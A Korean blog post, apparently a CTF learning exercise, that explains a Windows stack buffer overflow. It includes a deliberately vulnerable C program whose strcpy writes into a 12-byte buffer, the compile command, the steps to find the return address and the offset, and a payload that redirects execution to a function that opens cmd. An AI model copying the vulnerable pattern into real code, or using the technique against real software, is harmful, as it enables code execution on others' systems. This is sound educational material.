๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF

CTF - ์œˆ๋„์šฐ ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์˜ˆ์ œ(bof.c)

by Janger 2023. 9. 18.
728x90
๋ฐ˜์‘ํ˜•
bof.c
#include <stdio.h>
#include <string.h>
#include <windows.h>

void shell_code(){
	printf("WELCOME SHELLCODE!");
	system("cmd");
}

int main(int argc, char **argv){
	char buffer[12];
	memset(buffer, 0x00, sizeof(buffer));
	if(argc != 2){
		printf("Usage : ./bof.exe data\n");
		exit(-1);
	}
	strcpy(buffer, argv[1]);
	printf("sizeof %d \n", sizeof(argv[1]));
	printf("strlen %d \n", strlen(argv[1]));
	return 0;
}

 

compile
gcc -m32 bof.c -o bof.exe

 

ํ’€์ด

 

1. shellcode ์ฃผ์†Œ ์ฐพ๊ธฐ

"WELCOME SHELLCODE!" ์ŠคํŠธ๋ง์„ ์ฐธ์กฐํ•˜๋Š” ์ฃผ์†Œ๋ฅผ ์ฐพ์œผ๋ฉด ์‰ฝ๋‹ค. (00401501)

 

2. buffer ๋ณ€์ˆ˜์˜ ์‹œ์ž‘ ์ฃผ์†Œ ์ฐพ๊ธฐ

buffer๋ฅผ ์ธ์ž๋กœ ๋ฐ›๋Š” strcpy(mbscpy)๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ถ€๋ถ„์„ ์ฐพ๊ณ  lea ์˜คํผ๋žœ๋“œ๋ฅผ ์ฐพ๋Š”๋‹ค. ([esp+14])

 

 

3. EBP์™€ buffer ์˜คํ”„์…‹ ์ฐจ์ด ๊ตฌํ•˜๊ธฐ

๋””๋ฒ„๊ฑฐ์˜ ๋ ˆ์ง€์Šคํ„ฐ ์˜์—ญ์„ ์ฐธ๊ณ ํ•œ๋‹ค. 

EBP(0061FEA8) - [ESP+14](0061FE94) = 20

 

4. ํŽ˜์ด๋กœ๋“œ ๋งŒ๋“ค๊ธฐ

 

dummy data(20๊ฐœ) + sfp(4๊ฐœ) + return address(00401501) = ์‰˜ ์ฝ”๋“œ ํ˜ธ์ถœ ํŽ˜์ด๋กœ๋“œ

 

 

aaaaaaaaaaaaaaaaaaaabbbb@

 

return address๋Š” ์ธ์ฝ”๋”ฉ์ด ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์•„๋ž˜์™€ ๊ฐ™์€ ๋ณ€ํ™˜ ์‚ฌ์ดํŠธ๋ฅผ ์ด์šฉํ•˜๋ฉด ๋œ๋‹ค. 

 

https://codebeautify.org/hex-string-converter

 

Hex to String Converter Online to Convert Hex to Text

Best Convert Hex to String (Hex to Text) Online and Save and Share. Hexadecimal to String

codebeautify.org

 

* ๋ฆฌํ‹€์—”๋””์–ธ ์ฒด๊ณ„์ผ ๊ฒฝ์šฐ์—” ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๊ฑฐ๊พธ๋กœ ์ง‘์–ด ๋„ฃ๋Š”๋‹ค. 

00 40 15 01 -> \x01\x15\x40\x00

 

5. ์‹คํ–‰ ๊ฒฐ๊ณผ

์œˆ๋„์šฐ ํ”„๋กฌํ”„ํŠธ๊ฐ€ ์—ด๋ฆฌ๋ฉด์„œ ์‰˜ ์ฝ”๋“œ ์‹คํ–‰์— ์„ฑ๊ณตํ•œ๋‹ค. 

 

728x90
๋ฐ˜์‘ํ˜•